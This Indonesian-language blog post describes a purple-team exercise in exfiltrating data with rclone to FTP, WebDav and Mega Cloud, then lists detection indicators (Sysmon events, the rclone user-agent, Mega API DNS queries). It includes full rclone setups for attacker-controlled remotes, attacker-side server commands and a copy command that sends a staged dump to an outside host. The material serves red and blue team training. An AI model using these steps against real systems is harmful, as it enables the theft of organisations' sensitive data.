Purple Team Series: Practical Data Exfiltration (Mega, WebDav, FTP) Using RClone & Detection

Rahmat Nurfauzi
9 min readMay 23, 2021

--

Pada artikel ini akan mempraktikkan simulasi skenario data exfiltration secara realistis melalui berbagai macam metode dan teknik menggunakan program rclone. Tujuannya adalah untuk membantu dalam kegiatan Red & Blue Team exercies yang bisa dilakukan secara berkala.

Akhir-akhir ini banyak sekali insiden kebocoran data mulai dari kasus yang terjadi di Indonesia seperti yang menimpa pada BPJS Kesehatan, Tokopedia, Bukalapak maupun yang ada diluar negeri seperti kasus Ransomware. Umumnya pembobolan data dimulai dengan kompromi satu sistem dan berujung pada eksfiltrasi data rahasia dan kekayaan intelektual.

Berbagai macam cara threat actor bisa masuk ke dalam jarigan organisasi contohnya yang sering dilakukan oleh ransomware gang dengan cara mengirimkan spear phisihing, melakukan eksploitasi kerentanan pada VPN (Citrix, SonicWall, Pulse Connect Secure, Fortigate), RDP Brute Force dan MS Excahnge. Maupun cara mencuri lainnya melalui Web Attack seperti SQL Injection, File Upload Vulnerability dan Remote Command Execution (RCE) yang kemudian masuk ke server dan melakukan dump database.

Data exfiltration adalah teknik yang digunakan oleh threat actor untuk menargetkan, menyalin, dan mentransfer data sensitif dari dalam jaringan organisasi ke luar secara tidak sah. Aktivitas ini merupakan inti dari tujuan peretasan atau tahap terakhir dari kill chain dalam serangan yang ditargetkan pada suatu organisasi.

Biasanya threat actor menargetkan dan mencari data sensitive untuk dicuri seperti :

  • Personally Identifiable Information (PII)
  • Source Code
  • Trade Secret
  • Intellectual Property
  • Credit Card

Motif pencurian data bergantung pada tujuan threat actor itu sendiri, pada kasus tertentu biasanya setelah threat actor memperoleh data sensitive milik organisasi menjualnya ke situs market di dark web atau forum salah satunya raidforum dengan bayaran bitcoin.

Pada kasus Ransomware menggunakan taktik double extortion yang sering digunakan untuk mendapatkan keuntungan dengan memaksa korban membayar tebusan dengan cara memasukan korban ke dalam situs Hall of Shame / leak site.

Disitus ini menampilkan berbagai macam organisasi yang belum membayar tebusan dan data yang diperlihatkan dalam bentuk sample maupun full dump bisa didownload secara gratis.

Metode Transmisi

Ada 2 metode transmisi yang paling populer digunakan oleh threat actor saat ini dan sering ditemukan pada banyak insiden yaitu :

  1. Exfiltration Over Web Service: Exfiltration to Cloud Storage (Mitre ATT&CK ID T1567.002)
    Metode ini paling sering digunakan oleh threat actor terutama ransomware untuk menyalin data ke tempat penyimpanan file di cloud seperti Mega, Dropbox, Google Drive, AWS S3. Threat actor dapat menghidari deteksi dan dapat menyulitkan blue team untuk mendeteksi percobaan exfiltration karena seperti proses normal.
  2. Exfiltration Over Alternative Protocol (Mitre ATT&CK ID T1048)
    Threat actor dapat menyalin data dengan melakukan exfiltrasi pada protokol yang berbeda dari pada saluran perintah dan kontrol yang ada seperti FTP, DNS, ICMP, WebDav.

Proses Eksfiltrasi Data

Hal yang dilakukan oleh penyerang sebelum melakukan exfiltration :

  • Mencari server atau workstation yang terhubung ke internet : Data exfiltration tidak bisa dilakukan pada sistem yang terisolasi harus terkoneksi internet.
  • Menargetkan File Sharing dan Database Server: Kedua server ini menyimpan banyak informasi dan data sensitive, biasanya threat actor menggunakan tools seperti PowerView Invoke-ShareFinder untuk menemukan dokumen dan PowerUpSQL (Target MS SQL Server) untuk menemukan lokasi server database dan ekstraksi database.
  • Memeriksa ukuran total hard disk : Sebelum mengumpulkan banyak data yang akan ditempatkan pada folder staging, threat actor harus mengetahui terlebih dahulu berapa ukuran total hard disk. Bisa menggunakan perintah :
    Windows: fsutil volume diskfree c: (Perintah ini digunakan pada kasus SolarWinds hack)
    Linux: df -h
  • Membuat folder staging : Setelah mengetahui ukuran total hardisk threat actor akan menempatkan data curiannya pada satu folder, sebagai contoh disimpan pada folder C:\Windows\Temp, C:\ProgramData.
  • Mengkompres file : Untuk ukuran file yang sangat besar threat actor melakukan kompres file dan split file dengan tujuan memepercepat proses transfer data, biasanya menggunakan bantuan utilitas seperti 7za.exe dan rar.exe.

RClone

Rclone merupakan tools yang digunakan untuk melakukan transfer antara server dan remote storage, saat ini rclone sudah banyak mendukung banyak metode terutama pada layanan cloud seperti google drive, dropbox, mega dan layanan object storage seperti AWS S3 dan minio. Pilihan menggunakan rclone karena program ini mudah digunakan dan sering disalahgunakan oleh ransomware gang.

Red Team Infrastructure

Pada sisi red team hal yang perlu dipersiapkan dengan minimal membeli 1 buah VPS, kemudian menginstall tools yang digunakan seperti :

File Transfer Protocol (FTP)

Egress-Assess adalah alat yang digunakan untuk menguji kemampuan deteksi data keluar mendukung banyak protocol seperti FTP, HTTP, DNS, ICMP. Gunakan perintah berikut untuk menjalankan FTP server :

# ./Egress-Assess.py --server ftp --username admin --password S3cr3tP4$$W0rd

Sebelum melakukan data exfiltration menggunakan rclone harus membuat konfigurasi terlebih dahulu menggunakan perintah rclone config.

C:\Users\Admin\Downloads> rclone.exe config
No remotes found - make a new one
n) New remote
s) Set configuration password
q) Quit config
n/s/q> n
name> ftp_exfil
Type of storage to configure.
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / 1Fichier
\ "fichier"
2 / Alias for an existing remote
\ "alias"
<..SNIP..>
Storage> ftp
** See help for ftp backend at: https://rclone.org/ftp/ **
FTP host to connect to
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / Connect to ftp.example.com
\ "ftp.example.com"
host> redteam.domain
FTP username, leave blank for current username, REDTEAM\Admin
Enter a string value. Press Enter for the default ("").
user> admin
FTP port, leave blank to use default (21)
Enter a string value. Press Enter for the default ("").
port>
FTP password
y) Yes type in my own password
g) Generate random password
y/g> y
Enter the password:
password:
Confirm the password:
password:
Use Implicit FTPS (FTP over TLS)
When using implicit FTP over TLS the client connects using TLS
right from the start which breaks compatibility with
non-TLS-aware servers. This is usually served over port 990 rather
than port 21. Cannot be used in combination with explicit FTP.
Enter a boolean value (true or false). Press Enter for the default ("false").
tls>
Use Explicit FTPS (FTP over TLS)
When using explicit FTP over TLS the client explicitly requests
security from the server in order to upgrade a plain text connection
to an encrypted one. Cannot be used in combination with implicit FTP.
Enter a boolean value (true or false). Press Enter for the default ("false").
explicit_tls>
Edit advanced config? (y/n)
y) Yes
n) No (default)
y/n>

WebDav

WebDav merupakan sekumpulan ekstensi dan tambahan pada protokol HTTP yang memungkinkan untuk mengelola file di server jauh. Untuk membuat server webdav menggunakan wsgidav, sebelumnya install terlebih dahulu menggunakan pip3.

# pip3 install wsgidav
# wsgidav --host=0.0.0.0 --port=8080 --root=/root/exfil --auth=anonymous

Membuat rclone config untuk webdav :

C:\Users\Admin\Downloads>rclone config
Current remotes:
Name Type
==== ====
ftp_exfil ftp
e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q> n
name> webdav_exfil
Type of storage to configure.
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / 1Fichier
\ "fichier"
2 / Alias for an existing remote
\ "alias"
3 / Amazon Drive
<..SNIP..>
Storage> webdav
** See help for webdav backend at: https://rclone.org/webdav/ **
URL of http host to connect to
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / Connect to example.com
\ "https://example.com"
url> http://redteam.domain
Name of the Webdav site/service/software you are using
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / Nextcloud
\ "nextcloud"
2 / Owncloud
\ "owncloud"
3 / Sharepoint Online, authenticated by Microsoft account.
\ "sharepoint"
4 / Sharepoint with NTLM authentication. Usually self-hosted or on-premises.
\ "sharepoint-ntlm"
5 / Other site/service or software
\ "other"
vendor> other
User name. In case NTLM authentication is used, the username should be in the format 'Domain\User'.
Enter a string value. Press Enter for the default ("").
user>
Password.
y) Yes type in my own password
g) Generate random password
n) No leave this optional password blank (default)
y/g/n> n
Bearer token instead of user/pass (e.g. a Macaroon)
Enter a string value. Press Enter for the default ("").
bearer_token>
Edit advanced config? (y/n)
y) Yes
n) No (default)
y/n> n

Mega Cloud

Mega cloud merupakan cloud service yang paling sering disalah gunakan oleh ransomware gang seperti Conti, DarkSide, Black Kingdom, Pysa, Sodinokibii/REvil untuk menyimpan data curian. Buat rclone config untuk mega cloud :

C:\Users\Admin\Downloads>rclone config
Current remotes:
Name Type
==== ====
ftp_exfil ftp
webdav_exfil webdav
e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q> n
name> mega_exfil
Type of storage to configure.
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / 1Fichier
\ "fichier"
2 / Alias for an existing remote
\ "alias"
3 / Amazon Drive
<..SNIP...>
Storage> mega
** See help for mega backend at: https://rclone.org/mega/ **
User name
Enter a string value. Press Enter for the default ("").
user> redteam@gmail.com
Password.
y) Yes type in my own password
g) Generate random password
y/g> y
Enter the password:
password:
Confirm the password:
password:
Edit advanced config? (y/n)
y) Yes
n) No (default)
y/n> n

Menjalankan RClone

Semua konfigurasi yang telah dibuat akan disimpan pada lokasi C:\Users\<Username>\.config\rclone\rclone.conf, biasanya Ransomware gang menyalin konfigurasi rclone.conf ke komputer korban bersamaan dengan menjalankan rclone.exe. Parameter — config bersifat opsional secara default rclone akan membaca config pada lokal.

rclone.exe --config rclone.conf --progress --no-check-certificate copy <Folder Dump> <Profile Storage>:<Destination Folder>

Deteksi

Mempelajari Tactics, Techniques, and Procedures (TTPs) yang dilakukan oleh threat actor sangat penting bagi blue team untuk mendapatkan gambaran dan membuat strategi pencegahan dan deteksi dini serangan.

Blue team membutuhkan data soruces yang digunakan sebagai informasi yang dikumpulkan oleh sensor atau sistem logging yang dapat digunakan untuk mengumpulkan informasi yang relevan untuk mengidentifikasi tindakan yang sedang dilakukan, urutan tindakan, atau hasil dari tindakan tersebut oleh threat actor.

Exfiltration to FTP

Percobaan exfiltration menggunakan protocol FTP dilihat pada Event Log Sysmon menampilkan DestinationPortName: ftp dan DestinationPort 21.

Exfiltration to WebDav

Percobaan exfiltration menggunakan protocol WebDav dilihat pada packet capture terdapat user-agent rclone/v1.55.1 dan menggunakan metode PROPFIND yang bisa dijadikan indikator.

Exfiltration to Mega Cloud

Rclone memanfaatkan mega api untuk melakukan transfer file terlihat pada Event log sysmon melakukan dns query ke mega api.

  • g.api.mega.co.nz (66.203.125.13, 66.203.125.15)
  • w.api.mega.co.nz (66.203.125.32)

Referensi

--

--

Rahmat Nurfauzi
Rahmat Nurfauzi

Written by Rahmat Nurfauzi

Red Teamer, Threat Hunter & Security Researcher. Contributors of Mitre ATT&CK Framework, PS Empire, LOLBins, Atomic Red Team and more.

No responses yet